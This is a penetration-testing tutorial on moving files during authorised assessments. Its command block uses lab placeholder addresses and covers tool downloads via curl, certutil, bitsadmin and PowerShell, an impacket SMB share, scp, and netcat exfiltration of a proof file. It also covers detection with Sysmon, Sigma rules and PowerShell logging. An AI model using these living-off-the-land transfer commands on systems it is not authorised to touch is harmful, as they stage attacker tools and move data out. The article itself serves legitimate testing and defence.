Transferring Files During an Assessment: HTTP, SMB, SCP, certutil and PowerShell

7 min read188 courses on OnlySecurity

Every engagement moves files: tools go onto a host you have a foothold on, and evidence comes back off it. A defender can see each move. This article covers the common methods, a record to keep, and how each shows up in logs. Test only networks and systems you own or are authorised to assess.

Keep a record of what you moved

Before the first transfer, open a log with four columns: time in UTC, direction, file name with its SHA-256 hash, and host. Add the removal time when you finish. At the end of the test every file you placed is deleted, and the log is the list you delete from.

Agree volume limits in the rules of engagement, take the smallest sample that proves the point and say in the report what you left.

Serving files over HTTP

On a Linux attack host, run python3 -m http.server from the directory holding your tools; it listens on port 8000 on all interfaces by default. The Python documentation lets you set the port as an argument, bind one address with --bind, and choose the served directory with --directory. It warns of only basic security checks and that symbolic links can serve files from outside the directory. Bind it to the lab interface.

Linux clients pull with curl or wget. In curl, -o names the output file and -O keeps the remote name; in wget, -O names it.

Windows downloads

Microsoft ships curl.exe with Windows. Type it in full: Microsoft Learn notes that in Windows PowerShell 5.1 curl is an alias for Invoke-WebRequest.

Invoke-WebRequest saves the response with -OutFile. Since the Windows updates of 9 December 2025, Windows PowerShell 5.1 shows a script execution prompt, which can hang a non-interactive shell, unless you add -UseBasicParsing; PowerShell 7 ignores the switch.

Two built-in binaries with LOLBAS entries also download. LOLBAS records unexpected functions of Microsoft-signed files rather than intended use, and has no curl.exe or Invoke-WebRequest entry. It lists certutil.exe downloads with -urlcache -f, -verifyctl -f and -URL under T1105; Microsoft documents -URLCache as displaying or deleting URL cache entries, with no output file, so saving to a chosen path is a side effect. It also leaves a copy in the user’s URL cache, which certutil -urlcache <URL> delete removes: log that too. bitsadmin.exe is a transfer tool by design, and bitsadmin /transfer creates a download job by default. BITS runs a job only while its owner has an interactive logon or is a system account, so from a plain reverse shell expect it to sit queued.

Microsoft states that a BITS download needs a HEAD that returns the file size and a GET that supports Content-Range and Content-Length, and Python’s http.server source at 3.15.2 sends no Content-Range. The /DYNAMIC switch relaxes those requirements, and Microsoft says such jobs should typically run at FOREGROUND priority.

MITRE calls this ingress tool transfer, T1105.

SMB, and why you need credentials

Impacket’s smbserver.py serves a directory as a share, given a share name and a path. At the impacket_0_13_1 tag the share name is converted to upper case, the server listens on port 445 by default (so it needs root on Linux), and without -smb2support it speaks SMB1 only, which Windows 11 does not install by default. Without -username it accepts anonymous connections, and it signs sessions only when given credentials. Microsoft states that guest access is refused by default on Windows 10 Enterprise and Education from 1709, Windows Server 2019 and Windows 11 Pro since build 25267, and that Windows 11 24H2 Enterprise, Pro and Education and Windows Server 2025 require outbound signing (see Control SMB signing behavior), which guest logons do not support. So supply -username and -password and connect with those. -readonly makes the share read only.

On the Windows side, copy \\192.0.2.10\TOOLS\file.exe C:\Windows\Temp\ pulls a file, and copying in the other direction pushes one. The server can log the client’s NetNTLMv2 exchange; treat it as client data.

SCP, SFTP and netcat

With SSH access, scp and sftp are the cleanest options: they ride the same authenticated, encrypted session, and the OpenBSD manual says scp uses the SFTP protocol for data transfer. For hosts behind a pivot, set up a tunnel first, as in SSH port forwarding and tunnelling.

Netcat moves a file in clear text when nothing else is installed: listen with nc -l on the receiver, redirect into a file, and send with a redirect from the file. In the OpenBSD version, -l listens and -N shuts the socket down after end of input, which some servers need to finish the file. The listener idea is the same as in shell listeners.

Verify every transfer

Compare hashes on both ends: sha256sum on Linux and Get-FileHash on Windows, which uses SHA256 by default. Write the hash into your log.

Transfer commands

Checked against Python 3.15.2 (http.server documentation and source), impacket impacket_0_13_1, curl 8.23.0 and Microsoft Learn, as of 27 November 2026. Addresses are lab placeholders.

# Attack host (Linux)
python3 -m http.server 8000 --bind 192.0.2.10 --directory ./tools
sudo python3 smbserver.py TOOLS ./tools -ip 192.0.2.10 -smb2support -username lab -password 'lab-only-pass'
sha256sum ./tools/helper.exe
# Evidence pull, run on the attack host: 192.0.2.20 is the Linux target
scp [email protected]:/tmp/proof.txt ./evidence/

# Linux target
curl -o helper.bin http://192.0.2.10:8000/helper.bin
wget -O helper.bin http://192.0.2.10:8000/helper.bin

# Windows target
curl.exe -o C:\Windows\Temp\helper.exe http://192.0.2.10:8000/helper.exe
Invoke-WebRequest -Uri http://192.0.2.10:8000/helper.exe -OutFile C:\Windows\Temp\helper.exe -UseBasicParsing
certutil.exe -urlcache -split -f http://192.0.2.10:8000/helper.exe C:\Windows\Temp\helper.exe
bitsadmin /transfer labjob /priority FOREGROUND /DYNAMIC http://192.0.2.10:8000/helper.exe C:\Windows\Temp\helper.exe
net use \\192.0.2.10\TOOLS lab-only-pass /user:lab
copy \\192.0.2.10\TOOLS\helper.exe C:\Windows\Temp\
Get-FileHash C:\Windows\Temp\helper.exe -Algorithm SHA256

# Netcat (OpenBSD build), receiver then sender
nc -l 9001 > proof.txt
nc -N 192.0.2.10 9001 < proof.txt
  1. -ip, -smb2support, -username, -password and -readonly are options of smbserver.py at that tag. Run it with no arguments to print its own help.
  2. Sigma’s public rules match certutil.exe with urlcache or verifyctl and a URL, and bitsadmin.exe with /transfer, so expect those lines to alert.

Detection and defence

Sysmon event ID 1 records process creation with the full command line, which is where certutil with an http argument or bitsadmin /transfer stands out. Event ID 3 records network connections but is disabled by default, so confirm your configuration enables it, and event ID 11 logs file creation. LOLBAS lists Microsoft-CryptoAPI/10.0 and CertUtil URL Agent as user agents for certutil downloads, and certutil.exe creating files on disk as an indicator. For bitsadmin, it lists child processes of bitsadmin.exe and new files it creates, but the BITS service makes the transfer, so also look for connections from svchost.exe and the job in the BITS-Client operational log (MITRE’s DET0098).

To see PowerShell downloads, enable Turn on PowerShell Script Block Logging (Administrative Templates, Windows Components, Windows PowerShell); Windows PowerShell then logs script input as event 4104 in Microsoft-Windows-PowerShell/Operational. PowerShell 7 has its own setting and logs 4104 to PowerShellCore/Operational, once its event provider is registered with $PSHOME\RegisterManifest.ps1.

MITRE’s T1105 mitigations are M1037, filtering traffic to block outbound connections to unapproved destinations, and M1031, network intrusion prevention. Egress filtering decides whether a pull from the internet works at all. MITRE’s detection strategy DET0060 correlates a process connection with a file then appearing on disk.

Microsoft Defender’s attack surface reduction reference has no rule that names certutil or bitsadmin. Two rules act once a download lands: Block executable files from running unless they meet a prevalence, age, or trusted list criterion stops an unknown tool starting, and Block use of copied or impersonated system tools stops a copy of a system binary running from another folder. Microsoft’s list of binaries that bypass App Control omits certutil.exe, bitsadmin.exe and curl.exe, so denying them on hosts that never need them is your own rule.

Part 6 of the Network and Active Directory Ultimate Course covers living off the land, proxy execution and downloads, and how each is detected.

Where to go next

The Network and Active Directory Ultimate Course is the next step, with these detections in Part 6. For the shells these files usually support, read shell listeners and TTY upgrades, and for the wider workflow from first scan to report see Penetration Testing Field Notes.

This article replaces the KSEC ARK notes first published in 2019.

More from this author